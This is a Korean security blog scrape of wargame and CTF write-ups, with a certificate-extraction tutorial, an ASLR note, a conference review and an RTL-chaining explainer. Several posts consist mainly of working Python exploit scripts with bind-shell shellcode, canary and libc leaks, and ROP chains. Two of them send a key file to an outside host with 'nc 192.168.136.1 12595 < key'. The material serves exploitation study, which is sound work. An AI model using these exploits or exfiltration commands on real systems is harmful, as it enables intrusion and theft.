이번엔 스택에서 공격할 수 없게 된 모양이다.

드디어 RTL 공격 기법을 사용하는 문제가 나타났다.


아무 실행 파일이나 만들어서 system 함수의 라이브러리 주소를 찾은 후, 이를 이용해 내부의 "/bin/sh" 문자열을 찾아 주었다.


Dummy 44개 이후 System 함수 주소 + Dummy (4) + &"/bin/sh"를 넣어 주었다.

쉘을 획득했고 이를 이용해 패스워드를 얻을 수 있었다.

RTL 공격에 대해서는 직접 작성한 문서(http://5kyc1ad.tistory.com/3)가 있다.

이해가 안 되는 분들은 읽어보는 것도 좋을 듯 하다.


'Wargame > Lord of Buffer overflow' 카테고리의 다른 글

LOB Redhat : giant > assassin  (0) 2015.11.03
LOB Redhat : bugbear > giant  (0) 2015.11.03
LOB Redhat : golem > darkknight  (0) 2015.10.17
LOB Redhat : skeleton > golem  (0) 2015.10.15
LOB Redhat : vampire > skeleton  (0) 2015.10.15
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,


원래 와이어샤크를 이용하여 SSL Traffic을 Decrypt하는 방법에 대하여 공부하려고 했으나

Private Key가 필요한데 그를 확보하는 방법을 알아내지 못했다.


우선 패킷 속에서 인증서를 추출하기 위해 SSL 트래픽을 잡도록 하겠다.


우선 패킷 캡쳐를 위해 와이어샤크를 켠다.

www.wireshark.org 에서 다운받을 수 있다.


그리고 Edit -> Preference -> Protocols -> TCP 탭에서 'Allow subdissector to ressemble TCP streams'에 체크해 준다.

OK 버튼을 눌러 저장한 후, 패킷 캡쳐를 시작하고 SSL이 잡힐 만한 사이트를 돌아다닌다.

대충 다 잡았다 싶으면 중지하고, SSL로 필터링해 Info에 Certificate라고 적힌 패킷을 선택한다.


Packet Details에서 위 이미지와 같은 방식으로 인증서를 찾자.

몇 개정도의 인증서가 나올 것인데, 가장 위가 서버 측 인증서이며 나머지 두 개는 CA와 root CA 것이라고 한다.


이를 우클릭하여 'Export Selected Packet Byrtes...' 를 선택하자.

이를 저장하면 된다.



이런 식으로 인증서가 정상적으로 덤프된 것을 확인할 수 있다.


이를 암호화에 사용하는 PEM 형식으로 바꾸기 위해서는 openssl이 필요한데,

http://zero-gravity.tistory.com/239

이는 위를 참조하여 설치하면 된다.


cmd에서 디렉토리에 구애받지 않고 어디서든 사용하기 위해서는 PATH 환경변수에 openssl.exe 파일의 경로를 지정해 주는 것이 좋다.

openssl x509 -inform der -in [파일명] -out [파일명]

이라는 명령과 옵션을 이용해 der파일을 PEM파일로 변환할 수 있고, 이렇게 변환된 PEM파일은 


이런식으로 저장되어있다.



'Knowledge' 카테고리의 다른 글

libcapstone-dev 설치 방법  (0) 2016.03.12
PE 파일과 Memory-Mapped File  (0) 2015.12.24
제한적 ASLR 해제 방법  (0) 2015.10.22
RTL Chaining의 원리  (0) 2015.10.18
레지스터 (Register)  (0) 2015.10.12
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,

왠지 스택이 릭되지 않는 문제가 가끔 있긴 한데 어쨌든 작동은 한다.

memcpy로 strcpy로 덮일 dest의 주소를 덮어서 원하는 주소에 값을 덮어쓰고, 이를 이용해 RET을 버퍼 주소로 이동시켜 NOP Sled를 타고 쉘코드가 실행되게 한다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from hackutil import *
from socket import *
from telnetlib import *
 
HOST = "192.168.136.152"
PORT = 6666
 
#================================================================
shellcode = ("\x31\xc0\x31\xdb\x31\xd2\xb0\x01\x89\xc6\xfe\xc0\x89\xc7\xb2"
        "\x06\xb0\x29\x0f\x05\x93\x48\x31\xc0\x50\x68\x02\x01\x11\x5c"
        "\x88\x44\x24\x01\x48\x89\xe6\xb2\x10\x89\xdf\xb0\x31\x0f\x05"
        "\xb0\x05\x89\xc6\x89\xdf\xb0\x32\x0f\x05\x31\xd2\x31\xf6\x89"
        "\xdf\xb0\x2b\x0f\x05\x89\xc7\x48\x31\xc0\x89\xc6\xb0\x21\x0f"
        "\x05\xfe\xc0\x89\xc6\xb0\x21\x0f\x05\xfe\xc0\x89\xc6\xb0\x21"
        "\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68"
        "\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89"
        "\xe6\xb0\x3b\x0f\x05\x50\x5f\xb0\x3c\x0f\x05")
#================================================================
 
banner()
 
print "==================[ Phase 1 : Stack leak ]=================="
sock = socket(AF_INET, SOCK_STREAM)
sock.connect((HOST, PORT))
 
payload = "\x00"*0x108
time.sleep(0.1)
sock.send('arsenal\n')
time.sleep(0.1)
sock.recv(1024)
sock.send('gyeongbokgung\n')
time.sleep(0.1)
sock.recv(1024)
sock.send('psy\n')
time.sleep(0.1)
sock.recv(1024)
sock.send(payload)
time.sleep(0.1)
 
data = up64(sock.recv(2048)[0x108:0x110])[0]
print "[*] Find Stack : "+hex(data)
 
sock.close()
print "=============[ Phase 2 : Attack with Shellcode ]============"
 
sock2 = socket(AF_INET, SOCK_STREAM)
sock2.connect((HOST, PORT))
payload = "\x90"*20 + shellcode + "\x90"*(0x108-20-len(shellcode)) + p64(data+16)
print "Payload Length : "+hex(len(payload))
time.sleep(0.1)
sock2.send('arsenal\n')
time.sleep(0.1)
sock2.recv(1024)
sock2.send('gyeongbokgung\n')
time.sleep(0.1)
sock2.recv(1024)
sock2.send('psy\n')
time.sleep(0.1)
sock2.recv(1024)
sock2.send(payload)
time.sleep(2)
 
print "=================[ Phase 3 : Got the Shell ]================"
 
sock3 = socket(AF_INET, SOCK_STREAM)
sock3.connect((HOST, 4444))
= Telnet()
t.sock = sock3
t.interact()
cs


'CTF > 지난 대회' 카테고리의 다른 글

Codegate 2015 - Bookstore  (0) 2015.11.16
Layer7 CTF 2015 - Spil..Spli....SPPPPPIILL  (0) 2015.11.03
PlaidCTF 2013 - pork  (0) 2015.10.29
Codegate 2014 - AngryDoraemon  (0) 2015.10.25
Plaid CTF 2013 - ropasaurusrex  (0) 2015.10.22
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,

후, RTL로 RTL을 만드는 문제라고 하던 후배의 말이 뭔지 알수 있는 문제였다.

여러 가지 기법이 조합되어서 풀 수 있었던 문제.

RTL을 위한 인자를 직접 하나하나 다 만들고 쉘코드를 받아오고 RTL 도중 FEBP까지...

풀고나니 홀가분하고 나름 재미있었던 문제였다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from hackutil import *
from socket import *
from time import *
from telnetlib import *
 
HOST = '192.168.136.152'
PORT = 33227
 
#======================================
buf_len = 1020
sprintf_plt = 0x0804887C
ppppr = 0x080499a5
bss = 0x0804ad44
freespace = 0x0804ab40
leave_ret = 0x08048b71
ret_arg = [ 0x8048acc0x80499c30x80499c40x8049990
            0x80499c40x080490500x080490500x08049050
            0x8048acc0x80499c30x80499c40x8049990
            0x080496800x080490500x080490500x08049050]
shellcode = ("\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89"
            "\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x05\x39"
            "\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0"
            "\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56"
            "\x56\x57\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93\xb0\x3f"
            "\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68"
            "\x2f\x62\x69\x6e\x89\xe3\x41\x89\xca\xcd\x80")
read_plt = 0x0804893C
read_got = 0x0804AC98
 
# RET = \x40\xab\x04\x08
# fd = \x04\x00\x00\x00
# target = \x40\xab\x04\x08
# length = \x54\x00\x00\x00
#======================================
 
banner()
 
print "===================[ Phase 1 : Attack with Shellcode ]=================="
= socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))
 
payload = 'A'*buf_len+'AAAA'
payload += p32(sprintf_plt) + p32(ppppr+2+ p32(bss-4+ p32(read_got)
for i in range(len(ret_arg)):
    payload += p32(sprintf_plt) + p32(ppppr+2+ p32(bss+i) + p32(ret_arg[i])
payload += p32(ppppr+3+ p32(bss-8+ p32(leave_ret)
print "[*] Payload Length : "+str(len(payload))
print "[*] Send payload"
s.send('GET http://'+payload+' HTTP/1.1')
sleep(1)
print "[*] Send \\r\\n"
s.send('\r\n')
sleep(1)
print "[*] Send Shellcode"
s.send(shellcode)
sleep(1)
 
print "======================[ Phase 1 : Got the Shell ]======================"
s2 = socket(AF_INET, SOCK_STREAM)
s2.connect((HOST, 1337))
= Telnet()
t.sock = s2
t.interact()
cs


'CTF > 지난 대회' 카테고리의 다른 글

Layer7 CTF 2015 - Spil..Spli....SPPPPPIILL  (0) 2015.11.03
Codegate 2013 Prequal - vuln 100  (0) 2015.10.30
Codegate 2014 - AngryDoraemon  (0) 2015.10.25
Plaid CTF 2013 - ropasaurusrex  (0) 2015.10.22
Codegate Junior 2014 Prequal - nuclear  (0) 2015.10.22
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,



조금 지났지만 며칠 전 일요일에 강남 BoB센터에서 열린 BISC에 참가했었습니다.

할로윈 컨셉의 컨퍼런스였기 때문에 강의장 내부는 여러가지 소품으로 꾸며져 있었고, 돌아다니는 사람들도 할로윈 의상을 입고 다니는 등 꽤나 즐거운 행사였습니다.

들은 내용을 모두 다 적는 것은 너무 많기 때문에 줄이겠지만, 가장 기억에 남는 발표는 두 개정도였습니다.

첫째는 GPU based Keylogger로, 말 그대로 GPU에 기반한 키로거를 제작하는 방법에 대한 발표였습니다.

발표 준비도 제대로 되어 있었고, 눈앞에서 직접 USB방식 키보드를 이용하여 데모를 보여주는 것을 보고 꽤 신기하다고 생각했습니다.

두번째는 침해사고 이미지 분석이었는데, 발표자로 나오신 분이 이번 화이트햇 콘테스트의 문제를 출제하신 분이라고 하여 더욱 집중해서 들었던 것 같습니다. 메모리, 디스크 포렌식 등의 문제가 나왔을 경우 어떻게 대처해야 하는지, 어떤 툴을 이용하는 것이 좋은지, 우선적으로 분석해야 할 부분과 덮어쓰여질수 있으니 먼저 데이터를 보존하고 분석해야 하는 파일 시스템 로그 분석 등, 유용한 정보를 많이 뿌리고 가셨습니다.

BoB 멘토로 뽑히게 된다면 참 좋겠다는 문장이 인상깊어서도 머릿속에 많이 남아있습니다.

이외에도 한컴 오피스 제로데이 분석기, Anti VME 등 여러 주제로 발표를 들었고, 마지막에는 행사 이벤트에 당첨되어(혼자 지원했기 때문이겠지만) 정보보안 관련 서적도 세 권이나 받았습니다.

이는 아마 동아리 책으로 사용하지 않을까 합니다.


내년에 2016 BISC가 열릴 때 즈음이면 이미 저는 BoB 4기를 수료했겠지만 다음번에도 꼭 참가해서 좋은 지식을 얻어가고 싶다고 생각하게 되는 컨퍼런스였습니다.


'Conference' 카테고리의 다른 글

C++ Korea 제6회 세미나 - "종합 선물 세트 제2호" 후기  (0) 2019.09.29
C++ 멜팅팟 세미나 후기  (0) 2016.05.31
제 13회 해킹캠프 후기  (0) 2016.02.28
PoC 2015 후기  (0) 2015.11.06
제 12회 해킹캠프 후기  (0) 2015.09.20
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,

처음에 볼땐 환경구축에 필요한 게 참 많길래 어려운 문젠가 싶었으나 오히려 Nuclear보다 쉽게 풀었다.

이번에는 쉘따려고 고생하지 않고 바로 key를 출력하도록 했다.

푸는데 걸린 시간 약 2시간 반...?


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from hackutil import *
from socket import *
from time import *
 
HOST = '192.168.136.139'
PORT = 8888
 
#==============================================
pppr = 0x08048b2c
ppppr = 0x080495bc
read_plt = 0x08048620
read_got = 0x0804B010
write_plt = 0x080486E0
write_got = 0x0804B040
libc_main_got = 0x0804B038
offset_read_system = 0x9aa40
binsh = 0x0804970D
bss = 0x0804b080
#==============================================
 
banner()
 
print "===================[ Phase 1 : Canary leak ]=================="
 
= socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))
sleep(2)
s.recv(1024)
s.send('4')
sleep(0.2)
s.recv(1024)
 
payload = 'y'*11
 
s.send(payload)
sleep(0.1)
 
data = s.recv(1024)
 
canary =  up32(data[22:26])[0& 0xFFFFFF00
print "[*] Found Canary : "+hex(canary)
s.close()
 
print "==================[ Phase 2 : Library leak ]=================="
 
= socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))
sleep(2)
s.recv(1024)
s.send('4')
sleep(0.2)
s.recv(1024)
 
payload2 = 'y'*10 + p32(canary) + 'A'*12
payload2 += p32(write_plt) + p32(pppr) + p32(4+ p32(read_got) + p32(4)
payload2 += p32(write_plt) + p32(pppr) + p32(4+ p32(libc_main_got) + p32(4)
 
s.send(payload2)
sleep(0.1)
 
data = s.recv(1024)
read_lib = up32(data[0:4])[0]
libc_main_lib =  up32(data[4:8])[0]
system_lib = read_lib - offset_read_system
 
print "[*] Found read_lib : "+hex(read_lib)
print "[*] Found libc_main_lib : "+hex(libc_main_lib)
print "[*] Found system_lib : "+hex(system_lib)
print '[*] &"/bin/sh" : '+hex(binsh)
 
s.close()
 
print "================[ Phase 3 : Attack with RTL ]================="
 
= socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))
sleep(2)
s.recv(1024)
s.send('4')
sleep(0.2)
s.recv(1024)
 
payload3 = 'y'*10 + p32(canary) + 'A'*12
payload3 += p32(read_plt) + p32(pppr) + p32(4+ p32(bss) + p32(0x100)
payload3 += p32(system_lib) + "AAAA" + p32(bss)
 
s.send(payload3)
sleep(0.1)
s.send('nc 192.168.136.1 12595 < key')
sleep(0.1)
 
s.close()
 
print "==================[ Phase 4 : Got the Key ]==================="
cs


'CTF > 지난 대회' 카테고리의 다른 글

Layer7 CTF 2015 - Spil..Spli....SPPPPPIILL  (0) 2015.11.03
Codegate 2013 Prequal - vuln 100  (0) 2015.10.30
PlaidCTF 2013 - pork  (0) 2015.10.29
Plaid CTF 2013 - ropasaurusrex  (0) 2015.10.22
Codegate Junior 2014 Prequal - nuclear  (0) 2015.10.22
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,


ASLR이 걸리게 되면 라이브러리, 힙, 스택 할것없이 모두 주소가 랜덤화된다.

따라서 공격하는 입장에서는 골치아픈 문제인데, 이를 제한적이지만 해제하는 방법이 있다.

이 방법을 사용하기 위해서는 32bit 환경이어야 하며 로컬에 쉘을 가지고 있어야 한다.

"ulimit -s unlimited" 라는 명령을 사용하는 것이 그 방법인데, 이를 사용하면 힙과 스택에 걸린 ASLR을 제외한

라이브러리 등에 걸린 ASLR을 해제해 버릴 수 있다.


왜 그런지 찾아 보았는데,


출처 (http://asked.online/why-ldquoulimit--s-unlimitedrdquo-can-de-aslr-in-overflow/2442975/)


이렇게 나와 있었다.

커널 내부의 mmap.c 파일에 저런 코드가 정의되어 있다는 것인데, 살펴보니 Stack의 Limit가 Infinity이면 1이라는 값을 리턴하는 코드이다.

그 외에는 sysctl_legacy_va_layout을 리턴한다.


그리고 실제로 코드 내부를 확인해 보니 sysctl_legacy_va_layout은 0으로 정의되어 있는 것을 알 수 있다.

sysctl_legacy_va_layout은 아마 가상메모리의 매핑에 관련된 상수라고 생각되는데, 이 내용은

(http://surinderkumar432-tech.blogspot.kr/2007/03/new-virtual-address-space-layout.html)

여기에 나타나 있는 듯 하다.

읽어봐도 잘 알아듣기도 힘들지만 어쨌든 원래라면 0이 리턴되어야 하는 것이 1이 리턴되어 ASLR이 해제된다고 지금은 생각하고 있겠다.


'Knowledge' 카테고리의 다른 글

libcapstone-dev 설치 방법  (0) 2016.03.12
PE 파일과 Memory-Mapped File  (0) 2015.12.24
Wireshark로 인증서 추출하기  (0) 2015.11.02
RTL Chaining의 원리  (0) 2015.10.18
레지스터 (Register)  (0) 2015.10.12
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,

대회에서 라이브러리 파일을 주고 시작했고, 따라서 로컬에서 디버깅이 가능한 상황이라고 가정하고 환경은

Ubuntu 14.04 64bit 로 구축해놓고 풀었습니다.

가장 기초적인 ROP로, Demon으로 돌아가는 프로그램이었기 때문에 system("/bin/sh")로 쉘을 딸 수 있었습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from hackutil import *
from socket import *
from time import *
from telnetlib import *
 
TARGET = '192.168.136.137'
PORT = 9999
 
banner()
 
#========================================
read_plt = 0x0804832c
read_got = 0x0804961c
write_plt = 0x0804830c
write_got = 0x08049614
pppr = 0x080484b6
offset_read_system = 0x9aa40
offset_binsh_read = 0x85e54
#========================================
 
print "==================[ Phase 1 : Find Library Func ]=================="
 
= socket(AF_INET, SOCK_STREAM)
s.connect((TARGET, PORT))
payload = "\x90"*(0x88+4)
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)
payload += p32(0x080483F4# vuln func again
 
s.send(payload)
sleep(0.1)
recved = s.recv(1024)
 
read_lib = up32(recved[0:4])[0]
system_lib = read_lib - offset_read_system
binsh = read_lib+offset_binsh_read
 
print "[*] Found read_lib : "+hex(read_lib)
sleep(0.3)
print "[*] Found system_lib : "+hex(system_lib)
sleep(0.3)
print "[*] Found binsh : "+hex(binsh)
 
print "===================[ Phase 2 : Attack with RTL ]==================="
 
payload2 = "\x90"*(0x88+4)
payload2 += p32(system_lib)
payload2 += "AAAA"
payload2 += p32(binsh)
 
s.send(payload2)
sleep(1)
 
print "====================[ Phase 3 : Got the Shell ]===================="
 
= Telnet()
t.sock = s
t.interact()
 
cs


'CTF > 지난 대회' 카테고리의 다른 글

Layer7 CTF 2015 - Spil..Spli....SPPPPPIILL  (0) 2015.11.03
Codegate 2013 Prequal - vuln 100  (0) 2015.10.30
PlaidCTF 2013 - pork  (0) 2015.10.29
Codegate 2014 - AngryDoraemon  (0) 2015.10.25
Codegate Junior 2014 Prequal - nuclear  (0) 2015.10.22
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,

서버 환경을 몰라서 Ubuntu 14.04 64bit에 Full ASLR 환경으로 설정 후 풀었습니다.

원래 처음엔 mprotect 함수를 이용하여 쉘을 따려고 했으나 잘 되지 않아서 그냥 키 값만 읽어오도록 했습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from hackutil import *
from time import *
from socket import *
 
# ==========================================
leak = 'A'*0x200
recv_plt = 0x080488E0
recv_got = 0x0804B074
send_plt = 0x08048900
ppppr = 0x0804917c
vuln_func = 0x08048B5B
data_ = 0x0804b090
offset_system_recv = 0x1010
# ==========================================
 
banner()
 
print "==================[ Phase 1 : Passcode leak ]=================="
 
= socket(AF_INET, SOCK_STREAM)
s.connect(('192.168.136.137'1129))
s.recv(1024)
s.send('target\n')
sleep(0.1)
s.recv(1024)
s.send('1234.12341234/1234.12341234\n')
sleep(0.1)
s.recv(1024)
s.send(leak+'\n')
sleep(0.1)
data = s.recv(1024)
passcode = data[len(leak)+30:len(leak)+30+0x04]
print "[*] passcode : "+passcode
s.close()
 
print "================[ Phase 2 : Find Library Func ]================"
 
s2 = socket(AF_INET, SOCK_STREAM)
s2.connect(('192.168.136.137'1129))
s2.recv(1024)
s2.send('launch\n')
sleep(0.1)
s2.recv(1024)
 
payload2 = 'A'*(0x20C+4)
payload2 += p32(send_plt) + p32(ppppr) + p32(4+ p32(recv_got) + p32(4+ p32(0)
payload2 += p32(vuln_func) + p32(0+ p32(4)
 
s2.send(passcode+"\n")
sleep(0.1)
s2.recv(1024)
s2.send(payload2)
sleep(0.1)
recv_lib = up32(s2.recv(1024)[0:4])[0]
system_lib = recv_lib + offset_system_recv
 
print "[*] Found recv_lib : "+hex(recv_lib)
print "[*] Found system_lib : "+hex(system_lib)
 
 
print "=================[ Phase 3 : Attack with RTL ]================="
 
payload3 = 'A'*(0x20c+4)
payload3 += p32(recv_plt) + p32(ppppr) + p32(4+ p32(data_) + p32(0xff+ p32(0)
payload3 += p32(system_lib) + "AAAA" + p32(data_)
 
s2.send(payload3)
sleep(0.1)
s2.send('nc 192.168.136.1 12595 < key')
s2.close()
print "========================[ Got the Key ]========================"
cs


'CTF > 지난 대회' 카테고리의 다른 글

Layer7 CTF 2015 - Spil..Spli....SPPPPPIILL  (0) 2015.11.03
Codegate 2013 Prequal - vuln 100  (0) 2015.10.30
PlaidCTF 2013 - pork  (0) 2015.10.29
Codegate 2014 - AngryDoraemon  (0) 2015.10.25
Plaid CTF 2013 - ropasaurusrex  (0) 2015.10.22
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,

RTL Chaining의 원리

Knowledge 2015. 10. 18. 21:35


RTL에 관한 문서를 작성하면서 RET 다음에 집어넣어주는 4바이트의 Dummy가 해당 함수의 리턴 어드레스라고 설명을 해 두었는데, 그것에 대해 자세한 설명을 작성하는 것은 RTL Chaining 문서를 만들 때로 미뤄두었기 때문에 이렇게 글을 쓴다.

이 부분은 이미 익숙한 사람이라면 대충 명령어를 머릿속에 떠올리는 것 만으로도 충분히 이해가 가능하지만

아직 RTL에 익숙하지 않은 사람은 어째서 저게 RET인지 이해하기 어려울 수도 있다.

그림으로 보며 하나하나 확인해 보자.


위 스택이 정상적인 스택이고, 아래 스택은 RTL을 위해 변조한 스택이다.

현재 함수 에필로그 중 leave만 실행되어 EBP는 어딘가로 가버린 상태고, EIP는 ret을 가리키고 있을 것이다.


ret을 실행하면 ESP가 가리키던 &system이 EIP에 들어가 system 함수가 실행된다.

call로 실행한 것과는 달리 jmp로 이동한 것과 다름없기 때문에 따로 RET이 저장되지 않는다.


system 함수의 프롤로그가 진행된다.

push EBP가 실행되면서 system 함수의 SFP가 저장된다.

ESP는 원래 &system으로 덮여 있던 장소에 SFP를 쓰게 된다.


mov EBP, ESP 명령에 의해 EBP와 ESP는 같은 부분을 가리키게 된다.

이 부분을 보면 system 함수의 인자인 &/bin/sh는 정확히 EBP에서 8바이트 떨어져 있어

정상적으로 참조가 가능함을 알 수 있다.


이후 함수 에필로그이다.

 함수 내부에서 스택을 사용했다면 ESP가 이동했겠지만 이동하든 말든 별로 관계 없으므로 진행하겠다.


leave 명령을 수행하면서 저장된 SFP가 EBP로 넘어가게 되므로 EBP는 원래 있던 자리로 되돌아가고,

ESP에는 pop에 의해 4가 더해지므로 Dummy를 가리키게 된다.


여기서 ret을 수행하면 Dummy의 값이 pop %eip에 의해 EIP에 들어가게 되고 EIP는 그곳으로 점프한다.

만약 Dummy에 exit함수의 주소를 넣었다면 바로 exit함수가 실행되는 것이고,

pop-ret 가젯을 넣었다면 인자인 &/bin/sh를 pop으로 건너뛰고

그 다음 4바이트를 ret으로 참조하게 되므로 다시 한 번 함수 주소를 써 주는 것으로 함수 체이닝이 가능할 것이다.









'Knowledge' 카테고리의 다른 글

libcapstone-dev 설치 방법  (0) 2016.03.12
PE 파일과 Memory-Mapped File  (0) 2015.12.24
Wireshark로 인증서 추출하기  (0) 2015.11.02
제한적 ASLR 해제 방법  (0) 2015.10.22
레지스터 (Register)  (0) 2015.10.12
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,